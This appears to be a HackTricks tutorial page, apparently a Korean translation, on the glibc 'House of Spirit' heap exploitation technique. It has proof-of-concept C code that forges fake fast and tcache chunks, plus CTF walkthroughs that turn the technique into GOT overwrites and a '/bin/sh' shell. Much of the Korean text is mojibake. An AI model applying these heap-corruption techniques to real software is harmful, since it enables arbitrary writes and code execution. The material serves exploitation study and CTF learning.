House of Spirit

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

์ฝ”๋“œ

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(โ€œOriginal alloc address: %p\nโ€, ptr); printf(โ€œMain fake chunk:%p\nโ€, &fake_chunks[0]); printf(โ€œSecond fake chunk for size: %p\nโ€, &fake_chunks[1]);

// Passes size check of โ€œfree(): invalid sizeโ€ fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes โ€œfree(): invalid next size (fast)โ€ fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be โ€˜freedโ€™ // Point to .fd as itโ€™s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(โ€œVictim: %p\nโ€, victim);

return 0; }

</details>

### ๋ชฉํ‘œ

- tcache / fast bin์— ์ฃผ์†Œ๋ฅผ ์ถ”๊ฐ€ํ•ด์„œ ๋‚˜์ค‘์— ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ allocateํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ

### ์š”๊ตฌ์‚ฌํ•ญ

- ์ด ๊ณต๊ฒฉ์€ ๊ณต๊ฒฉ์ž๊ฐ€ size ๊ฐ’์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ํ‘œ์‹œํ•œ fake fast chunks๋ฅผ ๋ช‡ ๊ฐœ ์ƒ์„ฑํ•˜๊ณ , ์ฒซ ๋ฒˆ์งธ fake chunk๋ฅผ freeํ•˜์—ฌ bin์— ๋“ค์–ด๊ฐ€๊ฒŒ ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ.
- **tcache (glibc โ‰ฅ2.26)** ํ™˜๊ฒฝ์—์„œ๋Š” ๊ณต๊ฒฉ์ด ๋” ๊ฐ„๋‹จํ•ด์ง: fake chunk ํ•˜๋‚˜๋งŒ ์žˆ์œผ๋ฉด ๋œ๋‹ค( tcache ๊ฒฝ๋กœ์—์„œ๋Š” next-chunk size ์ฒดํฌ๊ฐ€ ์ˆ˜ํ–‰๋˜์ง€ ์•Š์Œ). ๋‹จ, fake chunk๊ฐ€ 0x10 ์ •๋ ฌ๋˜์–ด ์žˆ๊ณ  size ํ•„๋“œ๊ฐ€ ์œ ํšจํ•œ tcache bin (0x20-0x410 on x64)์— ์†ํ•ด์•ผ ํ•จ.

### ๊ณต๊ฒฉ

- ๋ณด์•ˆ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋Š” fake chunks๋ฅผ ์ƒ์„ฑ: ๊ธฐ๋ณธ์ ์œผ๋กœ ์˜ฌ๋ฐ”๋ฅธ ์œ„์น˜์— ์˜ฌ๋ฐ”๋ฅธ size ๊ฐ’์„ ํ‘œ์‹œํ•˜๋Š” fake chunk 2๊ฐœ๊ฐ€ ํ•„์š”ํ•จ
- ์–ด๋–ค ์‹์œผ๋กœ๋“  ์ฒซ ๋ฒˆ์งธ fake chunk๋ฅผ freeํ•ด fast ๋˜๋Š” tcache bin์— ๋“ค์–ด๊ฐ€๊ฒŒ ํ•œ ๋’ค, ๊ทธ ์ฃผ์†Œ๋ฅผ allocateํ•˜์—ฌ ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ overwriteํ•จ

**์ด ์ฝ”๋“œ๋Š”** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **๊ณต๊ฒฉ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•˜๋‹ค.** ๋‹ค๋งŒ ์ฝ”๋“œ์˜ ์ด ๋„์‹์ด ์ด๋ฅผ ๊ฝค ์ž˜ ์š”์•ฝํ•œ๋‹ค:

<details>
<summary>๊ฐ€์งœ chunk ๋ ˆ์ด์•„์›ƒ</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

๋‘ ๋ฒˆ์งธ chunk๋ฅผ ์ƒ์„ฑํ•ด์•ผ ์ผ๋ถ€ sanity ์ฒดํฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

Tcache house of spirit (glibc โ‰ฅ2.26)

  • ์ตœ์‹  glibc์—์„œ๋Š” tcache fast-path๊ฐ€ ๋‹ค์Œ ์ฒญํฌ์˜ ํฌ๊ธฐ/prev_inuse๋ฅผ ๊ฒ€์ฆํ•˜๊ธฐ ์ „์— tcache_put์„ ํ˜ธ์ถœํ•˜๋ฏ€๋กœ, ํ˜„์žฌ์˜ fake chunk๋งŒ ์ •์ƒ์ฒ˜๋Ÿผ ๋ณด์ด๋ฉด ๋œ๋‹ค.
  • ์š”๊ตฌ ์‚ฌํ•ญ:
  • Fake chunk must be 16-byte aligned and not marked IS_MMAPPED/NON_MAIN_ARENA.
  • size must belong to a tcache bin and include the prev_inuse bit set (size | 1).
  • Tcache for that bin must not be full (default max 7 entries).
  • Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as fd = ptr ^ (heap_base >> 12) during free, so the attacker does not need to know the key when using a single fake chunk.
  • ์ด ๋ณ€ํ˜•์€ glibc hooks๊ฐ€ ์ œ๊ฑฐ๋˜์—ˆ์„ ๋•Œ(โ‰ฅ2.34) ์œ ์šฉํ•˜๋ฉฐ, ์ถ”๊ฐ€ ์†์ƒ ์—†์ด tcache ์ฒญํฌ๋กœ ๋Œ€์ƒ ๋ฒ„ํผ(์˜ˆ: stack/BSS)๋ฅผ ๊ฒน์น˜๊ฒŒ ํ•˜๊ฑฐ๋‚˜ ๋น ๋ฅธ arbitrary write๊ฐ€ ํ•„์š”ํ•  ๋•Œ ํŽธ๋ฆฌํ•˜๋‹ค.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Via an overflow itโ€™s possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF

  • House of Spirit: ์นด์šดํ„ฐ(์˜ˆ: โ€œriflesโ€œ์˜ ๊ฐœ์ˆ˜๋ฅผ ์„ธ๋Š”)๋ฅผ ์•…์šฉํ•˜๋ฉด ์ฒซ ๋ฒˆ์งธ fake chunk์˜ fake size๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ณ , ์ด์–ด์„œ โ€œmessageโ€œ๋ฅผ ์•…์šฉํ•˜๋ฉด ๋‘ ๋ฒˆ์งธ ์ฒญํฌ์˜ size๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋งˆ์ง€๋ง‰์œผ๋กœ overflow๋ฅผ ์•…์šฉํ•ด ํ•ด์ œ๋  ํฌ์ธํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ฒซ ๋ฒˆ์งธ fake chunk๊ฐ€ free๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด๋ฅผ ํ• ๋‹นํ•˜๋ฉด ๋‚ด๋ถ€์— โ€œmessageโ€œ๊ฐ€ ์ €์žฅ๋œ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด ์žˆ๊ณ , ์ด๋ฅผ GOT ํ…Œ์ด๋ธ”์˜ scanf ์—”ํŠธ๋ฆฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋งŒ๋“ค์–ด system ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค.
    ๋‹ค์Œ ๋ฒˆ์— scanf๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด ์ž…๋ ฅ์œผ๋กœ "/bin/sh"๋ฅผ ๋ณด๋‚ด ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Uninitialized stack buffer.

  • House of Spirit: ์ „์—ญ heap ํฌ์ธํ„ฐ ๋ฐฐ์—ด์˜ ์ฒซ ๋ฒˆ์งธ ์ธ๋ฑ์Šค๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹จ์ผ ๋ฐ”์ดํŠธ ์ˆ˜์ •์„ ํ†ตํ•ด ์œ ํšจํ•œ ์ฒญํฌ ๋‚ด๋ถ€์˜ fake chunk์— ๋Œ€ํ•ด free๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์‹œ ํ• ๋‹นํ•˜๋ฉด overlapping chunks ์ƒํ™ฉ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ Tcache poisoning attack์œผ๋กœ arbitrary write primitive๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ